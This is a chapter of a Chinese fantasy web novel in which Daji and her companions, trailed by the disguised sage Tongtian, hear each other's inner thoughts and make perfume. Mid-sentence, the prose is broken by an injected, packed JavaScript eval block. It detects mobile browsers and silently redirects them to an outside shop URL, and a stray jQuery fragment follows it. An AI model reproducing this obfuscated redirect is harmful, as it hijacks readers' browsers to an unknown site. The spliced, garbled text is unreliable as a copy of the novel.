听见有关于这一种的话题,胡喜媚总是会沉默不语。
倒也不是真的被这话伤到了,而是石头让她不要那么快接话,害怕自己没反应过来跟着接下去,到时候那心声之事会有暴露的风险。
【也不对,这和智商没问题,这顶多算未雨绸缪。】
胡喜媚:……
一直窃听着的上清通天只觉得耳朵嗡嗡的,这些都是什么跟什么啊?
看着那刻画着三妖模样的石像被替换,本以为还会有什么其他花样,结果没想到只是一个转身的功夫,三个身影跟随着消散不见,再扭头一看,自家弟子也不知道什么时候不知所踪,神念散开,一下子就捕捉到了正朝着西方的几个身影。
只是身形一闪,他便混入了其中。
【妈耶!】
被吓到的笪玑整个身形一抖,差点栽下去。
这一下子让上清通天莫名觉得舒爽,心中那股被冒犯之后憋着的气息也随之消散了大半。
【自己吓自己~】
发现是帅大叔,笪玑悄悄拍了拍自己胸脯,突然一只大黑耗子窜过来,可把他吓得个够呛。
视线向远方看去,此处虽然说是嵩山余脉,可也只是地下暗脉连接过来的,真正的主体是在河对岸的豫州。
来到先前所建造的庙宇处如法炮制,换了立于上方的雕塑,也不知是不是前些日子的影响,里头明显是一副被祭拜过的模样。
笪玑不禁兴奋道:“我突然觉得我们可以去九州上的其他地界转转。”
香火这种东西本来就是以量取胜,信仰才是靠质量。
“不可!”
此话一出,四对目光齐齐望去。
“玉辰道友,可是其他地界有什么问题?”笪玑脸上还有些高兴的神情也直接僵住,心中也不禁忧虑。
【想想也是,女娲娘娘都说了,量劫已起,他们三个都已经劫气入体,这时候出去瞎逛,不是纯纯找死吗?】
原本被这么一问,上清通天莫名还有些慌,忘记了此刻的身份不是圣人,好在这心声倒是给他提了个醒:“现如今天机混沌,还是安稳些的好。”
说着说着,他又想起截教来,顺势扯出下文:“也正因如此,在下才想前往那截教,有那通天教主在,咱们这些弟子起码也有个保障。”
“不必了,我等有女娲娘娘庇护再去截教,不太好。”笪玑婉拒。
【那通天教主说的好听,截取一线生机,结果呢?只管收不管教,全部丢给多宝如来去了。这么多人不管,有人作恶,报应的还不是在截教身上,连被入侵了都不知道,不过也是惨,上清通天最后居然败在了弟子的背刺,也不知道被关到了什么时候。】
上清通天:!!!
上清通天在娲皇宫得到消息的时候就想过截教覆灭为真,原以为只是天命如此,自己定然要贯彻自己立教时众生截取一线生机的正道誓言,却没曾想,自己竟会因弟子的背叛惨败,甚至是一直被囚禁。
还有多宝怎么变成了多宝如来了?
莫不是多宝就是背叛自己的弟子!
此刻并不是在自我沉醉地炼器,而是时刻有着自我认知的笪玑也是察觉到了不对劲,眼前这个帅大叔身上的气势怎么会如此恐怖?
没有多想,立马抓着两姐妹的手悄悄往门口挪去,同时不忘给石矶使了个“快走”的眼色。
因为害怕这动作过于明显导致这人会将目标转向自己,他带着好姐妹逃跑的动作显得十分滑稽且偷感十足。
石矶接收到眼神暗示,心中也是焦急万分,可不能在这个时候让师尊暴露身份,思索了一秒,便决定和笪玑先行撤退,无论如何,现在最主要的是帮师尊遮掩身份,得快些带对方离开才是。
别说是师尊了,就连她这个不怎么在门派当中的弟子听见那话也是震撼不已,不敢置信。
【我错了,我不该说你只有大男子主义的形式,没有大男子主义的本事,你这本事大的可以一拳把我头抡飞。】
聒噪的声音直入神识,上清通天也是从愤怒情绪当中抽离。
扭过头去,看见的便是鬼鬼祟祟的三妖。
“看来是吓到诸位了,还望海涵。”他得搞清楚究竟发生了什么才行!
【什么嘛?又正常了,吓死我了!】
“玉辰道友,你这是咋了?吓了我们一跳,莫不是也和我们一样劫气入体了?”这是笪玑能够想到眼前这人突然发癫的唯一解释。
【总不能是走火入魔了吧?】
上清通天嘴唇嗫嚅了几下,这才开口:“确实如此。”
他堂堂三清之一的上清通天,截教的通天教主,天道圣人,居然说自己劫气入体,这要是传出去,怕是要被笑掉大牙。
听见对方承认,笪玑当即便松了口气,还好不是走火入魔。
毕竟劫气入体是对方自己卷入量劫当中,等于自己送人头,怪不得谁,可要是走火入魔,他们四个都不一定打得过一个:“你这状况怕不是进入了后期,要不你自行先前往截教?”
【话说劫气入体,最后面会丧失理智,自个儿像飞蛾一样往风封神工程这团大火堆里扑,虽然大叔你长得帅,可也不能让我们变成被殃及的鱼呀。】
“无事,那劫气已然被我压下,方才不过是在与之斗争。”都已经承认自己劫气入体了,上清通天可不想丢了面子不说,原本就算不上多好的关系还愈发向下。
石矶也在一旁打岔道:“玉辰道友以往和我差不多,平日里独来独往的,因此倒也没有想起先提醒我们一声,虽说有些还不善言辞,可行事仗义。”
只是说完后,她心中又不免有些发虚,虽说自己是为了让师尊开脱,免得笪玑深究这件事,可总归并未提前与师尊打好招呼,也算得上是大逆不道了。
不曾想却是传来了师尊夸奖自己“干得好”的传音,微顿过后也是抓住还未断开的传音,连忙谢罪。
【原来是老实不善言辞的孤寡大叔。】
听见这解释,笪玑立马收起了刚刚那一点离对方远点的小心思,而且同时也十分想要请教一下,如何压制劫气,毕竟女娲娘娘都说他们三个劫气入体了。
只是现在明显不是好时机,关系都没打好呢。
得知这个想法的上清通天倒是忽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935716|212823||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地觉得浑身一松,终于是对方上赶着讨好自己了。
正想着呢,却只见那笪玑直接出了庙宇,对方竟是想要采集花果,做什么香水。
从话语当中可知,这乃是将这些花果香气凝聚的法子,可也正因为如此,让他感到不明就里,若是以气味作为媒介,直接封闭五感不就没了作用?
王贵人与胡喜媚并没第一时间询问,而是按照自家大姐头的吩咐,采了一些淡雅不浓郁的花朵以及清香瓜果。
等到将东西都交给了大姐头,又过了一会儿,见野鸡并未询问,王贵人这才亲自开口:“大姐头,这香水是做什么用的?”
“取悦自己,让自己香喷喷的。”笪玑说着,手中动作不停直接以法力将其全部凝聚在一起,使其变成液体后又拿出了个小瓷瓶装着。
随后取出其中一滴,使其气化,洒满自身,清淡香气从自己身上缓缓散发而出,隐约间能够闻到独属于自然瓜果的一丝清甜。
【闻着好香,要是这果香再浓一点就想啃一口了。不过这样一来,就算我身上真的有什么味道,别人应该也闻不到才对。嗯,等回去了再找龙三试试看。】
原本还因为嗅到一缕清淡香气而深吸了口气的上清通天立马屏住了呼吸,生怕自己真的闻到了什么味儿。
倒是胡喜媚,王贵人以及石矶,则是很明显的嗅气动静,随后纷纷给出了夸赞,可是也仅限于在“这个东西不错”的概念,在她们看来,远不如修行重要。
……
待一行回到朝歌宫廷时,见到的便是在院内自行打坐,身上明显有着电弧横跳的敖丙。
才刚刚落下,原本还盘着腿的身影立马收敛,朝着这方赶来:“去哪儿了?都不告诉我一声。”
敖丙抓着笪玑的手,语气当中有着大半询问与小半埋怨,以及一丝连他自己都没有注意到的委屈。
“这不是没注意吗?谁知道你当时在想些什么?”笪玑无语反驳,随后想到还需要让对方看看自己身上到底能不能闻到先前的味道,是不是惑狐之体不重要,有没有味才是真的需要解决的事。
被提到先前自己为何会待在原地,便也是立马噤声,不再多言,跟随着力道往前走。
“你不是说我有惑狐之体吗?你现在再看看还有没有那味道?”
听见这话,敖丙这才将心思放在了已经闻到却没有来得及问的味道上,想着刚刚被询问到了自己为何没有跟上的问题,他也是心中一动,越靠越近。
这一下子就让笪玑察觉出了不对来,连连后退:“你靠那么近干嘛?”
简单的肢体接触还能算得上是好朋友,可如此过于暧昧的姿势就有些超乎寻常了。
听见这话的敖丙也是一脸无辜:“惑狐之体不是靠味道便可掩盖的,我得闻仔细一些,如此一来,可不得靠得近一些才行?”
虽然心中不免有些忐忑与激动,可这语气却异常平静,既没有疑惑,也没有询问,像是在陈述事实。
【我怎么可以有这种思想呢,不管是体香还是体味,总得靠得近才闻得到。难道是因为洪荒的帅哥太多了,让我觉得我也有机会?】